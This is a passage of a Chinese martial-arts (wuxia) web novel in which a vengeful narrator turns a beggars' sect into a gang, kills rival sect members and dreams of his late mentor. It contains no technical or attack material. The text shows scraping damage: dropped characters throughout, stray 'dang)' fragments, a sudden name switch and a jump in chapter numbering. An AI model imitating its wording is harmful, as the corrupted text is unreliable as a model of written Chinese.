莫约一炷香的功夫。 我将经脉里游走的内息收回丹田,立时感觉神清气爽,浑身上下似乎有使不完的力气,就想要找个地方发泄一些。 正巧这个时候,气急败坏的柳无风抄起一把方木凳向我砸来。 我双手在地上一震,身子反弹起来,将一股内里聚于百会,冲着方木凳便冲了过去。 “咔啦”一声。 方木凳碎成一片,柳无风再次被震飞出去,这一次比上次飞得还要远,自然也摔得更惨一些。 柳无风双手扶着腰,踉跄着向我走来。但他表情控制得很好,除了愤怒,我读不到一点痛苦的意味。 “你这是铁打的脑袋吗?”柳无风冷哼道。 我摸了摸自己头顶。说实在话,还是有些疼痛的。我说“你找我何事?” 柳无风说“皇上有命,令你暗查各大门派,但凡是与秦桧有所勾结者,格杀勿论!” 杀人?! 从前这是我非常不屑去做的事。但不知为何,这个时候听到一个“杀”字竟莫名地让我兴奋,让我感觉热血沸腾。 我想都没有,说“好。” 柳无风丝毫有些惊讶,他看着我,问“你准备先去查哪里?” 若是让我去查,那我只有一个目标——括苍派。 柳无风说“不可以。” 我问“有何不可?” 柳无风说“陈伯洋下落不明,众弟子已做鸟兽散,括苍派早已经是名存实亡。你去查括苍派,又能有何收获?” 我说“我偏要去查括苍派,我偏要去找陈伯洋,你能奈我何?” 柳无风愣住了。他怔怔地看了我半晌,低沉着声音说“随你去吧。我会另派人去查探其他门派。” 陈伯洋害我家破人亡,我便叫他死无葬身之地。 2 两天后。武林盟里挤满了衣衫褴褛的乞丐。 他们像是打量着一个从未涉足的世界一般打量着武林盟的院落,目光中充斥着别样的光彩。 “帮主,帮主。这便是我们丐帮的总舵吗?”一个陌生的乞丐跑过来问我。 “当然不是。”明少忠从旁解释,“这叫武林盟,是帮主统御江湖、发号施令的衙署。” “哦。”陌生乞丐若有所思,“我们帮主是武林盟主,那我们丐帮应该是各大门派的老大啊!” “那是自然。”明少忠一脸骄傲。 “可为什么,连那些小门小派的人都瞧不起我们?”陌生乞丐说,“前些日子,我到金州横渡门讨饭,竟然被看门的老头子赶了出来。我说我是丐帮弟子,那老头竟然嘲笑我,乞丐竟然还有帮派。他还说,改日他便将家里的猪马牛羊都聚拢起来,成立一个牲口帮,把那头一胎下了七个崽子的老骡子封作帮主。” “胡 说八道。”明少忠满脸愤怒。 岂有此理,我也满腔怒火。金州横渡门无非就是把控水路收些船脚钱的橹夫,竟然也敢嘲笑我的帮派。 明少忠瞪着眼睛骂道“该死的老头子,满嘴胡扯,这世上哪有能下崽的骡子。” 我一颗因愤怒而砰砰直跳的心脏险些被明少忠一句话击穿。我骂了明少忠一句“滚开”,对那陌生乞丐说“你去金州横渡门传话,三日后,我要屠他们满门。” 陌生乞丐身子一颤,登时吓得脸色惨白,他颤声说道“帮,帮主息怒,不过是一句话而已,我们受得多了,实在没有必要” “你们记住!”我没有听那乞丐说完,便大声喊道,“从今日起,丐帮不再是丐帮。” 场所一片寂静,所有人面面相觑,不明所以。 丐帮不再是丐帮。 因为,我将赐予他们一个崭新的名字。我要将他们彻底脱开“乞丐”二字,我要让他们像“狼”一样奔袭在江南的土地上,让每一个听到他们名字的人都胆战心惊。 我说“从今日起,丐帮改名为狼道会。我要让曾经所有看不起你们的人,付出千倍百倍的代价。” 场上仍旧是十分的寂静。我听到秋风卷起落叶时“沙沙”的声响从人群中传来,清晰地钻进我的耳蜗。 片刻的沉默被明少忠打破,他大叫一声“好!”随即,呼声鼎沸,人群中一片欢呼。 我很激动,因为我终于可以兑现当年对丐帮的承诺。 所以,在昨日晚间,我洗劫了柳无风家的银库。总共搬出各式金银珠宝四十余箱,杀柳无风家中护院徒仆七十余人。 昨夜间,我可以保持的最后一丝冷静便是——我放过柳无风的家人。 柳无风被我打倒在地,满嘴是血,却没有多少表情。他说我真的是疯了。 我没有理他。 他问我为什么要这么做。 我告诉他,满临安城除了国库,我只知道你家里有钱。 我离开柳无风家的时候,他的家眷正蹲在地上痛苦地哀嚎。柳无风被人搀扶着,冰凉的晚风掀动他的衣袂,让他显得尤为凄凉。 我命人把柳无风的钱分给了所有的乞丐。那些穷苦日子过久了的乞丐,捧着手上光彩夺目的金银珠宝喜极而泣,泣极了又喜,总之哭哭笑笑,反反复复,疯疯癫癫。 不知是从谁先开始。近千名乞丐陆续跪倒在地上,对我山呼“英明”,千恩万谢。那种感觉令我十分享受。 我对他们颁布了狼道会成立之后的第一个命令。我说“从今日起,你们不遗余力地查找陈伯洋以及括苍派弟子的下落,但凡是与括苍派有所牵连的一个都不要放过。” 呼声入山崩地裂“遵命!”震落了屋檐的瓦片,将站在屋檐下的一个乞丐砸成重伤。 我忽然心口一凉,意识到,这群人虽然人数众多,终究是一群不懂武功的乞丐。而他们真的可以完成我的命令吗? 我的心里充满了疑惑。 第二百零一章 历极 ()1. 这群乞丐很快打消了我部的疑虑。 他们散布在江湖上,尤其是手中有了银子之后,成了这个江湖中最优秀的情报组织。 有关于括苍派的消息接连不断的呈报到我的面前。明少忠作为其中的枢纽人物,承担了所有上传下达,传递消息的工作。他干劲十足,我也乐得清闲,将狼道会所有繁琐的事一股脑的甩给了明少忠。 而我要做到只有一件事——杀人。 一个月间,放到我桌面上的每一个括苍派子弟的名字被我一一划掉。在用笔划掉他们的名字之前,我还用手上的血芒剑割掉了他们的脑袋。 或许括苍派的人绝不会想到自己即使逃离了括苍山仍旧免不得一死的命运。 他们之前恐惧的是陈伯洋,现在,我的名字更令他们毛骨悚然。但是,陈伯洋似乎是有意在躲避我一样,他的名字始终没有出现在我的桌案上。 我和陈伯洋之间终有一战,这一战无可避免,只是迟早的问题。可是,我仍旧感到焦急。急不可耐。 绍兴二十年十月。明少忠将一个字条放在了我桌案上。我打开字条,上面写着:天目山阴,程文轩。 程文轩作为括苍派中至关重要的人物,他的下落浮出水面,就意味着陈伯洋距离我并不遥远了。而程文轩偏偏就在天目山,他距离我很近,非常的近。 他以为藏在我身边不远的地方,便可以做个灯下黑吗? 程文轩或许不会想到,我所组织的狼道会犹如天罗地网,根本没有死角。 我赶到天目山的时候,程文轩已持刀等候。金丝海皮刀在他手中闪耀着夺目的光彩,似乎是在向我展示着括苍派曾经的辉煌。 刀刃上一抹鲜血。程文轩的脚边躺着两具尸体。 “我知道我躲不过去!”程文轩的吼声没入山林,如一阵风般,震落了几片树叶。他指着地上的两具尸体,说:“你杀我括苍派弟子数百,我却只能杀你两人。” 我说:“陈伯洋在哪里?” 程文轩傲慢地哼了一声,说:“你休想知道。” 我说:“陈伯洋和你一样都跑不了。” 程文轩抿着嘴,也不回答。他翻转海皮刀,刀刃向我,低声说道:“鹿死谁手,犹未可知,你先胜过我再说。” 金光一闪,刀风如是排山倒海一般劈来。 我侧身一躲,抽出血芒剑一挥。红影一晃而过,程文轩面如死灰,身体被血芒的剑影贯穿。 一滴血滴落在血芒的剑刃上。 血芒剑上一道白霜入丝线一般的蔓延,将那滴血凝固成殷红的雪冰。程文轩忽然笑了起来,他身子一沉,单膝跪在地上,将海皮刀的刀刃深深地插入泥土之中,撑着自己摇摇欲坠的身子。 “没想到,我程文轩苦练多年,竟然连你的一招都挡不住。”程文轩凄苦地笑着。 我说:“陈伯洋在哪里?” 程文轩答道:“天涯海角,有本事你就去找吧!” 天涯海角!天涯海角! 一瞬间,小月的影子闪过,在我已不平静的脑海中掀起滔天波澜。 我的 天涯海角,就是被他们这些人毁掉的! 血芒剑剑影一闪,程文轩一颗头颅被无声地抛到了空中,落在地上,顺着一道斜坡滚落下去,留下一串斑驳的血迹。 2. 杀掉程文轩之后,我却感觉自己一无所获。 我本以为自己可以逼迫程文轩说出陈伯洋的下落,但被那句“天涯海角”所勾起的愤怒情绪,让我不能抑制地挥动了血芒剑。 无功而返的感觉,让我倍感沮丧。 那一夜,我在武林盟里肆意挥剑,砍断了支撑东侧厢房的石柱。一间房屋倒塌,掀起万丈灰尘,蒙住了月色。 当尘埃落地,两道身影,一胖一瘦出现在了我的面前。 我定睛一看,却见是月前入临安府时遇见的那名傻乎乎的乞丐和武功高强的胖妇人。只是他们换了一身装扮,男人不再是乞丐,女人也并不是衣着华贵的贵妇。 他们一身轻束的武者装束,男人手上端着一把短刀,女人手中拿着一个很奇怪的兵器,像是一只铁钩,如剑般长短,通体黝黑。 “哈,小兄弟可真不仗义。说好了要借一步说话,你竟然自己走了。”男人说话很正常,绝不似当日那般痴痴傻傻的模样。 女人笑道:“我猜想应当是跟不上我们的步子,自己放弃了。” 我说:“你们来得正好。我正有一肚子火无处发泄。” 男人说:“很好。在下青帝,一柄秀峰刀会会你的血芒剑。”男人拔刀便要冲来。 “且慢!”女人伸手将他拦下,说,“上次我与他过了两招,未分胜负,这次还是我先来。” “凭什么每次都由你先?”青帝满脸不快,说,“若要说胜负未分,二十多年前秀峰刀与血芒剑的较量还未结束。” “青帝!”女人瞪着眼睛。 “莫遣!”男人毫不示弱。 我大声喝道:“不要啰嗦,两个一起来。”说罢,我挥剑横扫,一招斩向两人。 青帝也不回头,就好像是无意识地抬手一挥,一柄秀峰刀像一道暗器一样脱手而出。 “嗖嗖嗖。” 秀峰刀竟如同自己活过来一般,在空中盘旋舞动,将我拦在与他二人不过两步远的地方。 两个人仍旧在争吵不休,他们为的不过是争夺一个谁先与我较量的机会。这让我感觉震撼。但更令我震撼的却是那柄在空中飞舞不休的秀峰刀。 它就像是一只挥毫泼墨的笔一样,在空中画着一副气势磅礴的画卷。但这幅画中暗含着极度巧妙的刀法。 而且,这还是一个无人操控,进一柄秀峰刀使出的刀法。 仅这刀法竟然一让我难以招架。 我连忙退回。手臂已被震得微微发颤。但秀峰刀并无进攻之意,它依旧陶醉地书画着,仿佛不画完最后一笔不肯罢休一样。 青帝单手一摆,轻呼一声“收起”,秀峰刀旋转着飞回到青帝手中。 我惊讶地看着其貌不扬的二人,心中由震撼转为恐惧,已经让我只觉得浑身发冷,头皮发麻。 “怎么?才这两招就吓成这幅怂样子。”青帝轻蔑地说。 莫遣掩面嘿嘿直笑,说:“这小子可比他爹差得远了。只是不知道哪里练得一身邪门内功,比他爹当年还要邪门。” 莫遣的话让我心头巨颤。 依她的意思,他们是我爹当年的故人。只是不知是敌是友。 青帝摆了摆手,说:“无妨碍。只要心术端正,即便是练了一身邪门武功,又拿着那邪门的血芒剑,又能如何。就怕他像他爹当年一样......执念太重。” 我说:“你们到底是什么人?” 青帝说:“我们是谁并不重要,你只需要告诉我,今日括苍派弟子频遭杀戮,可是你所为?” 当然是我干的。 可是......这个时候,我却怎么也说不出口。 我不知道这两个人这样问我到底是什么意思。若是我杀的又怎么样?他们也要杀了我吗? 我自然是不怕死。只是在杀了陈伯洋之前,我绝不能死。 莫遣似乎看破了我的心思,她笑着说:“你别紧张,就算是你杀的也与我们二人无关。我们也不会因为你杀了几个括苍派的人,就取了你的性命。” “不错,不错。”青帝附和道,“我们不过是找你问一件事情而已。” 我将血芒剑藏在身后,问:“你们要问什么事?” 莫遣说:“江湖上人都说,括苍派掌门陈伯洋所练的武功乃是从你那里偷来的。” 青帝说:“江湖人还说,那本武功秘籍现在又回到了你的手中。” 莫遣问:“江湖人说的对吗?” 我说:“对又怎么样?” 青帝笑道:“那是什么武功?拿过来给我们看看。” 武炼的事让我知道,这世间有些人的脑子不是寻常人可以比的。而他们的脸上并不会贴着“过目不忘”的字样,所以我绝不会将摩诃钵特摩咒再交给任何人看。 莫遣笑靥如花,说:“你莫要紧张。陈伯洋那样的功夫还入不了我俩的眼睛。我二人习武成痴,只是好奇这世上到底是什么样的武功能让人疯成那般模样。” 我问:“你们见过陈伯洋?” 莫遣娇笑道:“自然是见过了。还与他过了两招呢。” 我忙问:“胜负如何?” 没想到青帝立刻呸了两声,骂道:“那老疯子岂是我的对手,只是人疯了却依旧狡猾得很,见自己败局已定,竟然对我腰间突施冷掌,我好好的一壶琼浆玉液让那老疯子冻成了冰疙瘩。” 青帝说起这事,表情又悲又怒。把一壶酒看得如此珍重的人,让我不禁想起来白景行。 莫遣笑着调侃:“冰疙瘩化了还能喝嘛。” 青帝啐了一口,骂道:“喝个屁,那能是一个味道吗?” 莫遣忽然收了笑声,看着我说:“不过说来奇怪!这小子身上的这股子邪门寒气和姓陈的老头儿有几分相似,又是非常不同。真是奇怪得很。” 青帝说:“这小子肯定是练了那邪门武功,这还用怀疑?” 我心中十分好奇,问:“我和陈伯洋到底谁更厉害?” 青帝莫遣对视一眼,同口说道:“当然是我俩更厉害!” 第二百零二章 开始 ()1. 这一夜,武林盟中莫名出现的两个怪人给了十分沉重的打击。 我自以为练成了摩诃钵特摩咒之后的我,应当是天下无敌的。但是,这两个人却用实际行动告诉了我“山外有山,人外有人”的道理,并在我最志得意满的时候给了我一计响亮的耳光。 幸运的是,青帝和莫遣看起来无意与我为敌。 但我总是感觉他们出现的目的也并不像是他们所说的那么简单。如果他们真的只是想要看一看摩诃钵特摩咒,他们只需要将我打倒或者是干脆杀了我,然后从我身上把秘籍取走便是了。 以这两个人深不可测的武功,若他们想要杀我,简直是易如反掌。 莫遣问:“小子,你真的练了那邪门的武功吗?” 我没有回答。因为我琢磨不透她问这个问题的用意。我不确定自己贸然给她一个答案将会招致怎么样的后果。 莫遣等了我片刻,见我不回答,便笑了笑,说:“你不愿说,我便也不追问。只是我要告诉你,世间诸多事物皆有阴阳两面,是正是邪并不在事物本身,而在这儿!”她抬手指向我的胸口。 青帝将莫遣的手按了下去,说:“别费这些口舌了,你现在跟他讲这些道理他是听不下去的。” 莫遣皱眉说道:“听不下去也要说。总比放任自流的好。” 青帝摇头,说:“有些错不去亲身尝试,是永远体会不到的。” 莫遣摇头叹息,说:“不知道真的体会到错的时候,还能否有挽回的余地。” 青帝对我说:“小子,你听好了。我二人与你父亲颇有些渊源,今后若是出手帮你,并不是因为我二人喜欢你,不过是为了还当年的一份人情罢了。但我们现在什么也不会做,到你身临悬崖绝境之时,我二人再会出现。你要切记,世间之事不可太多执着。凡事太尽缘分势必早尽。” 何意? 我最恨别人说些我完听不懂的话。看似高深莫测,实则不接地气。既然要向别人讲道理,为何不能用一种人能听得懂的语言来表达? 我尚未来得及问,青帝莫遣二人一转身消失在黑夜之中。 孤月悬空,东侧厢房塌了一半。 望着他两人消失的地方,我想起了李小谦的话,他们是出来装逼的吗? 2. 无论青帝和莫遣到底怀着怎么样的目的,他们既然走了,便很快被我抛到了脑后。我现在最急切的便是寻找陈伯洋的下落。 可是,天不遂我愿,陈伯洋始终杳无音信。 但我可以确定一点,陈伯洋一定还活着。他不出现,或许是与青帝一战受了伤,因此躲在什么地方养伤。 我让明少忠传令整个狼道会,加紧追查,要不惜一切代价找出陈伯洋。凡找到陈伯洋者,赏金千两。 我相信,对于曾经是乞丐的狼道会弟子来说,这是一个非常大的诱惑。足以让他们豁出去性命也要争取的诱惑。 但在找到陈伯洋之前,我决定去做另一件事——完成赵构交待给我的任务。 之所以这么 做,并不是因为我对赵构有多少忠诚,也并非是我觉得要还他什么人情。我只是觉得自己练成了摩诃钵特摩咒之后,浑身上下总有一些用不完的力气,不发泄一下便会觉得百爪挠心,片刻不得安宁。 所以,我觉得暂且将这股力量发泄在各大门派身上。因为,我与各大门派之间还有许多令我感到恼火的恩怨纠葛。 查探江湖各大门派,第一站,我选择了南华派。 之所以选择南华派,是出于对司徒清尘的厌恶,不只是厌恶,或许还有憎恨。 人的心态总会在悄无声息之间发生变化。五年前,管天下公然挑战武林盟,我与李小谦决定游说十大门派之时,第一站也是南华派。那时候,我同样对司徒清尘心存厌恶,却因为厌恶而十分不愿前往。 可如今,厌恶却成了我主动选择南华派的原始动力。 虽然我此去南华并没有什么善意,但是临门拜帖,以礼待之,这是李小谦教给我的道理。因此,我到南华派之前,先命狼道会的弟子送了一封书信。信由我亲笔书写,内容只有一句话:十日后,敞门迎我。 十日后,我如期到了南华派,南华派却是山门紧闭,其中弟子枪不离手,如临大敌。 我一剑挑开南华派山门,随即数十名弟子手握长枪将我团团围住。 自从四年前天目山一事之后,朝廷放松了对各大门派的管制。司徒清尘著书有成,南华派的伙食有了明显的改善。因而,数十人中,各个肥头大耳,膀大腰圆。 我目光扫过面前一群形态各异的胖子,问:“司徒清尘呢?” 一个不知死活的南华派弟子上前一步,用长枪指着我,叫道:“大胆狂徒,我们掌门的名讳也是你能......” 他话音未落,脖颈上已多了一道豁口。 一剑封喉,不见血光。 这是陆家剑法的绝招,如今被我信手使来,一剑足以让所有的人感到恐惧。 我又问:“司徒清尘在哪里?快叫他出来见我!” 没有人再敢说一句话。 我说:“如果没有人说话,我就当你们是死人了。” 一群人面色惨白,却也不敢动弹。 “我在这里。” 一声如雷,司徒清尘肥硕的身影从屋顶上飞落下来。司徒清尘的身材比我在台州城见他的时候又宽厚了几分。 他是个胖子,但他却是一个十分轻盈的胖子。 司徒清尘脚尖儿点地而足跟未落地,随即便将身子弹了起来。司徒清尘踏着落地无声的步子,提着银枪向我刺来。 他提枪不稳,毫无杀意,反而让我觉得他有些恐慌。 枪尖儿在距离我一步之远的地方停了下来。司徒清尘喝道:“我南华派与你并无深仇大恨,你为何要杀我弟子?” 我说:“因为他出言不逊。” 司徒清尘眼角一阵抽搐。我想他此刻定然十分挣扎,自己的弟子被杀,他若不报仇会颜面扫地,若他对我出手却会性命不保。 “你来我南华派到底所为何事?”司徒清尘有意拖 延。 我说:“看看你有没有作乱。” “作乱?”司徒清尘满脸疑惑,“做什么乱?什么是作乱?” 我说:“勾结秦桧就是作乱。” “当”! 司徒清尘收起银枪,往地面上重重一杵,花岗石砌成的地面碎成数段。随后,司徒清尘仰头大笑,笑声如雷。 我问:“你笑什么?” 司徒清尘说:“没想到,过了这么多年,即便是你身负绝世武功,却依然甘心做朝廷的走狗!” 一句话,让我倍感愤怒。 司徒清尘说:“我与你不同。我心中只有江湖,没有朝廷上那些蝇营狗苟。恐怕......你找错人了!” 我眯起眼睛看着司徒清尘,低声说:“你出言不逊!” “什么?!” 司徒清尘还未来得及细细琢磨我说话的意思,他的脖颈上已经有一道红光略了过去。 我将血芒剑插入剑鞘之中,说:“无论你有没有作乱,但死人永远都不会作乱。”说罢,我看都没看他一眼,转身离开了。 “师父!” 我一只脚踏出南华派山门的时候,听到了身后一片哀嚎。这种感觉让我莫名的兴奋。这群曾经蔑视过我的人,如今终于有了他们应得的报应。 3. 杀了司徒清尘,对于赵构而言是有益无害的。 因为南华一派的武功,乃是传承的杨家三十六枪法。只可惜传承不力,一代不如一代。尤其是司徒清尘,这些年只顾得经营门派的生意,不思将本门武功传于后人。他的弟子也丝毫没有得到杨家枪法的精髓,都是学了一些不入眼的花架子。 司徒清尘一死,南华派将从此退出江湖一等门派之列,永远不会再成为秦桧想要拉拢的对象,也将永远失去对赵构的威胁。 我想,赵构应该感激我。 南华山下,有一片凤竹林。 我下山时,明少忠已带着两名弟子在那里等候。他见我从山上下来,快步跑到我跟前,说:“帮主,有陈伯洋的消息了。” 我一阵狂喜,忙问:“他在哪里?” 明少忠面带难色,低声说:“不知在哪里,但有弟子打探到,三日起他曾在青云山出现过。” 青云山? 明少忠招呼身后的一名弟子,说:“快给帮主说说详情。” 那名弟子慌忙跑到我身边,说:“禀报帮主,日前我途径青云山时,听山下樵夫说青云山上遍地冰霜,草木枯死,曾见到一个灰衣老头,披头散发犹如恶鬼。结合种种迹象,我猜测应当是陈伯洋,便留下两个兄弟在青云山继续打探消息,自己快马加鞭赶来禀报。” 陈伯洋去了青云山。我曾想到的唯一一个理由是,他去找易小心报仇。 陈伯洋曾经亲口说过,当初是易小心害他武功尽失,并将它打落山崖。由此说来,我一家人所遭受的劫难,一切皆应从易小心将陈伯洋打落悬崖算起。 想到这里,我不禁攥紧了拳头,一股油然而生的恨意涌上心头。 第二百一十三章 祠堂 1. 正如明少忠他们所说的那样。尚未入冬,青云山已是霜白如雪,四处枯槁,荒凉一片。 这分明就是陈伯洋来过的痕迹。 我冲上青云山时,这里仿佛是经历了一场极为惨烈的战斗。 满地血色斑驳,几名带伤的弟子正抹着眼泪收拾着其他弟子的尸体。 我抓住一人询问:“陈伯洋何在?” 话一出口,那弟子满脸愤恨,骂道:“我若知道那恶贼在哪里,就是拼了命不要,也要捅他两剑。” 我又问:“易小心呢?” 那弟子嘴巴张了张,没说话就走了。 我又拉住一名弟子,问:“你们掌门人呢?” 他本不想回答我,但经我一阵威吓之后,终于怯声怯气地对我说:“掌门与陈伯洋一场大战后受了伤,现在已经不知道去了哪里。” 易小心也走了。 我不气恼,天不助我,若是我可以早来几个时辰,或许就可以将两个人一同堵在青云门中。但我却晚了一步。 好不容易得到了消息,如今又成了泡影。 我还要收拾好心,再重新去寻找。 我看着青云山巍峨的大,其中鎏金的柱子依旧如当年一般金光耀眼。六年前,白景行离世的景再次浮现在脑海中。 当年,易小心因为青云派祖师的一句“小心”,差阳错成了青云派的掌门。那时正是白景行的大行之。 我走进青云派大,缓缓走到正中的高台上。这里就曾经放着白景行的棺椁,他白如雪的形象,仿佛是一道魅影,隐隐约约在我眼前浮现。 “青云大,闲人不得擅入,还请离开。”一个眉目清秀的男子站在我的面前,他左肩上挂着伤口,染红了他淡蓝色的袍袖。 我问:“你是何人?” 他向我恭敬行礼,说:“在下青云派洛青海。” 这是一个陌生的名字,但他的言谈举止落落大方,十分得体,给人一种难得的舒适感。 “姬大侠可是想起了当年往事?”洛青海问道。 我说:“你认得我?” 洛青海微微一笑,说:“当年的武林盟主,师尊的得意之人,青海怎敢不认得?” 我说:“你也是白景行的弟子?” 洛青海说:“在下排行第三,虽然入门时已久,却因武功造诣不深,不及各位师兄弟,因而一直默默无闻,让姬大侠见笑了。” 看着洛青海,我真心为白景行欣慰。终于青云门中大方得体的人,能够继承白景行的衣钵。那么将来,我便可以更加没有顾虑地杀了易小心。 想到白景行,我心中一阵酸涩。 他不仅是给我许多启迪的人,对于我而言,还代表着当年那段让我无法忘却的回忆。 我说:“我有一个请求。” 洛青海问:“姬大侠请讲。” 我说:“我想去祭拜一下白景行。” “这......”洛青海面露难色。 我问:“有什么不妥吗 ?” 洛青海摇头说:“你与师尊交匪浅,我想他定然也愿意与你相见。只是按照青云祖制,师尊的灵位已供入祠堂。祠堂乃是我青云历代祖师灵位的供奉之处,依我青云门规,非青云门人不得擅入。” “那便算了吧。”我不愿为难洛青海,向他行道别之礼,转离开。 “且慢!”洛青海突然将我喊住。 我诧异地转,问:“还有什么事?” 洛青海沉吟了片刻,说:“姬大侠清随我来。”他单手摆了一个“请”的姿势,自己在前方带路,引着我穿过一条幽幽小径,直通后院的一座宇。 这间宇虽比不上青云大那般恢弘气魄,却也是青砖碧瓦,庄重异常。前一座铜鼎,其上焚烧着香火,冒着徐徐青烟。 “这里是......”望着这座大,我疑惑地问。 洛青海说:“这里便是供奉青云派历代祖师灵位的祠堂。”他顿了顿,又说:“师尊灵位......就供奉在这里。” 我说:“你不是说,青云派有规矩,非青云弟子不得擅入吗?” 洛青海说:“规矩是人定的。我想师尊应该不会怪我。只是这里毕竟是青云重地,还望姬大侠祭拜之后,能快快出来,莫要逗留。姬大侠请!” 我心中一阵感激,对于洛青海又增加了几分欣赏。我想他说了一句“多谢”,大步迈进了青云派祠堂。 2. 青烟弥漫,香火味道让人气定神清。 青云派祠堂的大上供奉的牌位并不算多,因为青云派自祖师青云子创立门派也不过是不到两百年的事。 白景行的牌位排在最左侧。一个普普通通的木牌,四周一圈烫金的边儿。 “我来了。” 看到白景行灵位的一瞬间,我心头一酸,双膝瘫软,缓缓沉了下去。跪在地上,泪眼婆娑,这些年经历的一切辛酸苦辣,想要对白景行徐徐道来,却又不知从何说起。 人生于世间容易,活下去却当真是艰难。 所以,白景行当年才会自己舍了自己姓名,把这个祸乱丛生的江湖彻底抛给了后人。 “是这样吗?”我啜泣着问。 没有人回答。 青烟弥漫,一股淡淡的奇异花香缓缓飘来。我看着白景行的灵位,它却好像自己动了起来,它在向后退着,不停地退着,离我越来越远,越来越模糊。 直到我意识到这是生了一件十分蹊跷的事,想要起离开,却顿时感觉浑松软无力,一阵头晕目眩之后,昏昏沉沉地失去了知觉。 3. 仿佛是进入了一片奇异的天地。 墨色苍穹,月同辉,百花竞芳,虫飞蝶舞。 如此美艳的景致,绝不是人间所有。万色花丛之间,有一白衣先生持剑而舞,形萧瑟,忽缓忽急。 我站在花丛之中,轻雾绕膝,只觉得十分错愕。 自练习剑法以来,我一直以为,剑术之道,要以快制胜,出剑要猛,收势要疾,纵有破绽,也可稍纵即逝,不被敌人捕捉。就像是6 家的剑法,“快”是他威力无穷的不二法门。 然而,这白衣人所舞的剑术,却并不求快,长剑寸进寸出,时而舒展,时而紧凑,看似威力不大,却卷得繁花飘然而起,随着剑尖所指,蔚然成势。 忽然,长剑一抖,剑声更急。然而,那白衣人形未变,仍是缓急交错,唯有手臂、手腕动作更加紧凑,那长剑在他手中威力更甚,来如雷霆收震怒,罢如江海凝清光。 我顿时惊得目瞪口呆,这世间竟有人能将一柄长剑舞出如此威力。 那白衣人猛地跃起,长剑直冲而上,剑到中途,却陡然转向,向着前方竖劈而下,倏地寒光一闪,千万片花瓣化作针雨,随着长剑一挥,“嗖嗖嗖”地向前斜扫过去。 遍地繁花,笼在花雨之下,风声瑟瑟,如万古巨兽惊醒,带着一声震怒,卷起一股飓风,势不可挡。 “哗啦啦......” 一阵乱响,只见花雨所到之处,被尽皆dang)平,遍地繁花扫尽,露出灰黑的泥土,在大片的花丛间,显得极为丑陋。 我内心巨震,那看似不紧不慢的招式,竟然如此厉害,柔软的花瓣被卷起尚且如此,若是换成满地砂石,中招之人岂不被打成了筛子。 白衣人翩然落地,长剑藏于袖中,他背对我,笑声问道:“如何?”说话间,他缓缓转过来,长须飘然,宛若神仙。 白景行! 我慌忙跑过去想要抓他,但他子一纵,却又向后跃了数尺。我拼命喊着:“是你,真的是你?” “我的剑法,可记下了?”白景行又问。 我不再去追他,因为他形飘忽至极,根本捕捉不到。我说:“记下三四分。” “再看!”白景行说道,忽地长剑划出袖口,如蛟龙出海,一声轻吟。长剑顺势一挥,卷起万片花瓣,在风中飘dang)。 我目不转睛地望着,手中不自觉地跟着比划起来,虽然动作与白景行无异,但威力却大不相同。正不解之时,忽听那白景行念道:“剑不在迅而在势,招不在形而在意。” 这句话是说,剑在挥动之时,不要刻意于招式的模仿,而要注重如何挥其威势。陈克略有所悟,却听那人又道:“招式贯通而不拘泥,力藏于剑而不漏锋芒。” 招式不拘泥? 我大为吃惊,这种说法岂不是与汀兰古中那怪人所说的如出一辙? 我眉头一簇,跃空而起,长剑提起,卷起漫天花雨,比方才白景行那一剑威力更猛。 “啊!” 我大喝一声,长剑劈空斩下,漫天花雨忽地凝在空中,顺着长剑挥出的方向,疾疾落下。 “哗!”地一声乱响,漫天花雨竟变成万道霹雳,满地繁华被扫得一片狼藉。 稳稳落在地上,我又惊又喜,不敢相信这一招竟是出自自己手中。 白景行忽然皱起了眉头,他看着我说:“你心术不正,竟然练了些歪门邪术?是我看错了你!” 不!不是的!我是迫不得已! 我抬起头来,却见墨色苍穹之下,漫无边际的繁花丛中,空空如也,白景行竟不知去向。 第二百一十四章 争夺 ()1. “醒醒,快醒醒......” 一直柔软的手抚摸过我的脸,带来一丝冰冰凉凉的感觉。就像是在藏龙涧中的每一个早晨,我在睡梦中,小月也是这般摸着我的脸喊我起床。 一切仿佛是没有变。 我睁开眼睛,一片朦朦胧胧的世界。 一种熟悉的浓郁的栀子香气。那是小月身上特有的香气。 “小月......”我轻声呼唤着她的名字,就像每天清晨起床所喊的第一声一样。 小月! 我忽地惊醒,猛地睁开眼睛,眼见白影一闪,似乎是有一阵风在我脸前吹过。等我看清楚眼前的一切时,四周确是空空荡荡青云祠堂,只有青云历代掌门的牌位、香案,再也没有其他的什么。 原来,小月和白景行一样,都是梦境。 我不禁摇头苦笑。当年在我身边的人,如今只有在梦境之中才能得以相见了,睁开眼睛一切尽皆消失。 如何能不让人感到悲哀。 我深深地吸了一口气,浓重的香火气息中,隐隐约约有一股熟悉的香味儿。那是一股再熟悉不过的香味儿,让我禁不住浑身一颤。 我只觉得一阵恍惚,仔仔细细闻了闻,确信不是错觉,那香味儿的确存在。 “小月。是你吗?” 我轻声地问着。四周却是寂静无声,没有回答。 可是,这分明就是小月留下的残香。纵使这一生我忘记了自己,也绝不可能忘记有关小月的一切,更不可能辩错了小月的气息。 “小月!”我大声喊着。 突然,门被大力推开,我猛地扭头,却看见了一脸慌张的洛青海,顿时只觉得失望无比。 “姬大侠,祖师们的祠堂乃是青云圣地,不可大声喧哗。”洛青海小声提醒着。 我一把按住他胳膊,问:“你有没有看到一个女子从这里出去?” 洛青海一怔,小声地说:“在下一直守在门外,未曾见过任何人出入。姬大侠,你这是......怎么了?” 他看我的眼神就像是看着一个神志不清的病人。 我毫不理会,不顾洛青海的极力劝阻将青云派的祠堂仔仔细细地翻了一遍。房梁上、帷幔后,供奉祠堂的神祇后面,甚至连摆放贡品的供桌下都没有放过。 知道找遍了每一寸可能的角落,皆一无所获之后,我感受到仿佛是被抽空了一般的疲惫,身子一软,瘫坐在地上。 “小月,是我的幻觉吗?”我喃喃地说着。 洛青海蹲在我身旁,说:“姬大侠,这里可是祖师祠堂,你这样实在有些无理了。” 我看都没看他一眼,冷笑道:“无理?那又怎样?若是小月真的在这里,我宁可拆了你们这个祠堂。” 洛青海豁地站起,满脸愤怒,低声喝道:“姬大侠,我念及师尊与你之间的情谊,违背门规放你进入祠堂,若你再敢这样口无遮拦,无视我青云派,休怪我要不客气了。” 我精神恍惚不已,随口说道:“你不用客气,尽管来吧。” 洛青海十分严 肃地说:“请速速离开祠堂。” 我忽然一阵烦躁,起身想要修理洛青海一番。但眼角余光略过白景行的灵位,心中顿时觉得后悔不已。 这毕竟是白景行安歇的地方。 我想洛青海拱手告别,说:“我走了。” 洛青海依旧在生我的气,他哼了一声,说:“不送。” 